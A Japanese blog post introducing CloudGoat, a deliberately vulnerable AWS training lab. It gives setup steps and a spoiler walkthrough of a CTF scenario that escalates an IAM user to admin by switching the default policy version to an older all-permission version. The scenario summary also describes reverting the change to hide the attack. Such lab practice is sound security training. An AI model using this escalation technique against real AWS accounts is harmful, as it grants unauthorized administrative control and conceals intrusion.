この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。
AWSを愛する皆さま、こんにちは。
羊肉串に用いられる孜然(クミン)が大好きなコンサルティング部の西野(@xiye_gen)です。
セキュリティに漠然とした興味があるものの何から手を付けて良いのかわからなかった私にとって渡りに船なツールがございましたので、本日はその紹介をいたします。
CloudGoatとは
概要
https://github.com/RhinoSecurityLabs/cloudgoat
CloudGoatはRhino Security Labs社が開発したセキュリティ学習用のAWS環境構築ツールです。
本ツールで構築される環境とあらかじめ用意されたCTF(Capture The Flag)形式のシナリオによりAWSセキュリティに関するスキルを身につけることができます。
各シナリオにおいて本ツールの利用者は「攻撃者」の立場となり、対象のAWSアカウントやシステムを調査・攻撃(admin権限の奪取など)をしていきます。
シナリオ紹介
2020/1/9時点で6つのシナリオが存在します。
シナリオはRhino Security Labs社とCloudGoatのコミュニティにより作成・メンテナンスされているようです。
シナリオ名 | 規模 | 難易度 | 概要 |
---|---|---|---|
ポリシーバージョンのリストアによるAdmin権限の奪取 | Small | Easy | 対象のIAMユーザーはほぼ権限を持たないように見えるが、過去のIAMポリシーを閲覧することができた。攻撃者はAdmin権限を持つ過去バージョンのポリシーを発見し、特権昇格を行う。 |
インスタンスプロファイルの取得とS3バケットへのアクセス | Small | Moderate | 誤った設定がなされたリバースプロキシからEC2メタデータにクエリをかけインスタンスプロファイルを取得する。このインスタンスプロファイルを用いてS3バケット内の機密データにアクセスする。 |
インスタンスプロファイルによる特権昇格 | Medium | Moderate | 限定された権限を持つインスタンスプロファイルを利用し、Admin権限を持つEC2インスタンスを作成する。 |
SSRF脆弱性を利用したS3バケットへのアクセス | Medium | Moderate | ReadOnly権限を利用しLambda関数にハードコーディングされたシークレットを発見する。このシークレットはSSRFへの脆弱性をもつアプリケーションのものであった。攻撃者はこの脆弱性を利用し、EC2メタデータを読み取り、S3バケットにアクセスする。 |
RCE脆弱性をもつWebアプリケーション | Medium | Hard | ロードバランサーとS3バケットを調査し、RCE脆弱性を持つWebアプリケーションを見つけ出す。その後、セキュリティ対策が施されたRDSインスタンスにアクセスする。 |
CodeBuildによるアクセスキーの取得 | Large | Hard | CodeBuildのプロジェクトからアクセスキーを取得する。その後、RDSのスナップショットを利用しsecret stringsを取得する。 |
各シナリオの詳細についてはScenarios AvailableのVisit Scenario Pageから確認できます。
※注意
前提条件
CloudGoatを使用するためには下記の環境が必要です。
公式サイト等を参照しインストールしてください。
- Linux or MacOS. Windows is not officially supported.
- Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
- Python3.6+ is required.
- Terraform 0.12 installed and in your $PATH.
- The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.
初期設定
Quick Startを参照しつつ初期設定を実施していきます。
IAM user作成
CloudGoatからAWSリソースを作成するためのIAM userを作成します。
今回はcloudgoat
という名称のIAM userを作成し、AdministratorAccess(AWS管理ポリシー)権限を付与します。
名前付きプロファイルの作成
CloudGoat用にAWS CLIの名前付きプロファイルを設定します。
$ aws configure --profile cloudgoat
AWS Access Key ID [None]: <Your Access Key ID>
AWS Secret Access Key [None]: <Your Secret Access Key ID>
Default region name [None]:
Default output format [None]:
CloudGoatインストール
GitHubからCloudGoatのレポジトリをcloneします。
※git cloneに失敗した場合は後述の「git clone時にエラーが生じた場合」をご参照ください。
$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
remote: Enumerating objects: 1971, done.
remote: Total 1971 (delta 0), reused 0 (delta 0), pack-reused 1971
Receiving objects: 100% (1971/1971), 8.25 MiB | 1.62 MiB/s, done.
Resolving deltas: 100% (627/627), done.
Pythonの必要パッケージをpip3でインストールします。
$ pip3 install -r ./core/python/requirements.txt
Collecting argcomplete==1.10.0 (from -r ./core/python/requirements.txt (line 5))
Downloading https://files.pythonhosted.org/packages/4d/82/f44c9661e479207348a979b1f6f063625d11dc4ca6256af053719bbb0124/argcomplete-1.10.0-py2.py3-none-any.whl
Collecting PyYAML==5.1.1 (from -r ./core/python/requirements.txt (line 6))
Downloading https://files.pythonhosted.org/packages/a3/65/837fefac7475963d1eccf4aa684c23b95aa6c1d033a2c5965ccb11e22623/PyYAML-5.1.1.tar.gz (274kB)
100% |████████████████████████████████| 276kB 9.1MB/s
Installing collected packages: argcomplete, PyYAML
Found existing installation: PyYAML 5.1.2
Uninstalling PyYAML-5.1.2:
Successfully uninstalled PyYAML-5.1.2
Running setup.py install for PyYAML ... done
Successfully installed PyYAML-5.1.1 argcomplete-1.10.0
cloudgoat.pyに実行権限を付与します。
$ chmod u+x cloudgoat.py
cloudgoat.pyを実行し、profileを設定します。
$ ./cloudgoat.py config profile
No configuration file was found at /Users/nishino.wataru/CloudGoat/config.yml
Would you like to create this file with a default profile name now? [y/n]: y ★yと入力
Enter the name of your default AWS profile: cloudgoat ★先に設定したAWS CLIのプロファイルと同じものを入力
A default profile name of "cloudgoat" has been saved.
cloudgoat.pyを実行し、IPアドレスのホワイトリストを設定します。
$ ./cloudgoat.py config whitelist --auto
No whitelist.txt file was found at /Users/nishino.wataru/CloudGoat/whitelist.txt
CloudGoat can automatically make a network request, using curl, to ifconfig.co to find your IP address, and then create the whitelist file with the result.
Would you like to continue? [y/n]: y ★yと入力
whitelist.txt created with IP address XXX.XXX.XXX.XXX/32
これでCloudGoatの初期設定が完了しました。
git clone時にエラーが生じた場合
git clone時に下記のエラーが生じる場合があります。
$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
The authenticity of host 'github.com (13.114.40.48)' can't be established.
RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'github.com,13.114.40.48' (RSA) to the list of known hosts.
git@github.com: Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
GitHub側にSSHキーが登録されていないことが原因です。
下記の手順を参考にSSHキーの登録を済ませた後、再度git cloneを実行してください。
シナリオ iam_privesc_by_rollbackをやってみた
シナリオの中からひとつを試してみました。
シナリオのREADME.mdを読みシナリオの概要をつかむ
READMD.mdにはシナリオの概要(開始時点で作成されるリソースやゴールなど)が記されています。
本シナリオはおおまかに下記の流れで進みます。
- IAM user
Raynor
には最小限の権限が設定されており、一見無害なように見える。 - 攻撃者は
Raynor
の権限を分析し、SetDefaultPolicyVersion
権限(ポリシーのデフォルトバージョンを変更できる)を持っていることに気づく。 - 攻撃者が古いバージョンのポリシーを全て調べたところ、その内ひとつのポリシーにadmin権限が与えられていることに気づく。
- 攻撃者は当該ポリシーをデフォルトポリシーとして設定しadmin権限を手にする。
- 攻撃内容を隠ぺいするため、攻撃者はデフォルトポリシーの設定を元に戻す。
さっそく進めていきましょう。
シナリオ環境の作成
下記のコマンドを実行し環境を作成します。
TerraformがAWSアカウント内にシナリオ用のリソースを作成してくれます。
$ ./cloudgoat.py create iam_privesc_by_rollback
環境の作成が終わると下記のstart.txtが作成されます。
[cloudgoat] Output file written to:
/Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt
中を見てみましょう。
$ cat /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt
cloudgoat_output_aws_account_id = XXXXXXXXXXXX
cloudgoat_output_raynor_access_key_id = AKIXXXXXXXXXXXXXXXX
cloudgoat_output_raynor_secret_key = 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Raynor
というIAM userが作成され、アクセスキーが用意されます。AWS CLIの名前付きprofileに設定しておきます。
$ aws configure --profile raynor
AWS Access Key ID [None]: AKIXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Default region name [None]:
Default output format [None]:
これで準備は整いました。
ここからはAWS CLI Command Referenceを参照しつつつIAM user Raynor
について調査していきます。
以下にはシナリオのネタバレを含みます。ご自身で試してみたい方はこの先を読まないようご注意ください。
Raynorにアタッチされているポリシーを確認してみる
コマンドは$ aws iam list-attached-user-policies
です。
$ aws iam list-attached-user-policies --user-name raynor --profile raynor
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy",
"PolicyArn": "arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy"
}
]
}
Raynor
にはcg-raynor-policyというポリシーがアタッチされているようです。
cg-raynor-policyのバージョン情報を確認してみる
当該ポリシーのバージョン情報を確認してみます。
コマンドは$ aws iam list-policy-versions
です。
$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2020-01-07T01:34:01Z"
}
]
}
計5つのバージョン(v1-v5)が存在し、そのうちv1がデフォルトバージョンとして設定されていることがわかります。
ポリシーの中身を見てみる
それぞれのバージョンについてポリシーの中身を見ていきましょう。
コマンドは$ aws iam get-policy-version
です。
cg-raynor-policy v1
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v1 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAMPrivilegeEscalationByRollback",
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2020-01-07T01:34:01Z"
}
}
こちらが現在のバージョンです。
cg-raynor-policy v2
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v2 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Action": "iam:Get*",
"Resource": "*",
"Condition": {
"DateGreaterThan": {
"aws:CurrentTime": "2017-07-01T00:00:00Z"
},
"DateLessThan": {
"aws:CurrentTime": "2017-12-31T23:59:59Z"
}
}
}
},
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
}
}
cg-raynor-policy v3
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v3 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"NotIpAddress": {
"aws:SourceIp": [
"192.0.2.0/24",
"203.0.113.0/24"
]
}
}
}
},
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
}
}
cg-raynor-policy v4
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
}
}
cg-raynor-policy v5
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v5 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject",
"s3:ListAllMyBuckets"
],
"Resource": "*"
}
},
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
}
}
以上の結果から、admin権限を有するv4を使用すれば良いことがわかります。
ポリシーのデフォルトバージョンを変更する
コマンドは$ aws iam set-default-policy-version
です。
$ aws iam set-default-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor
設定後の内容を$ aws iam list-policy-versions
で確認してみます。
$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:04Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2020-01-07T01:34:01Z"
}
]
}
これでadmin権限を奪取することができました。
環境の削除
下記のコマンドによりシナリオによって作成されたリソースを全て削除できます。
./cloudgoat.py destroy iam_privesc_by_rollback
終わりに
いままではセキュリティに関する一般原則を聞いてもいまいちピンと来なかったのですが、CloudGoatによる攻撃者のロールプレイによってその重要性を実感できました。
私と同じような感覚を持っている方がいらっしゃいましたら、いずれかひとつのシナリオだけでもやってみることをおすすめいたします。
このブログがほんの少しでも世界を良くできれば嬉しいです。
コンサルティング部の西野(@xiye_gen)がお送りしました。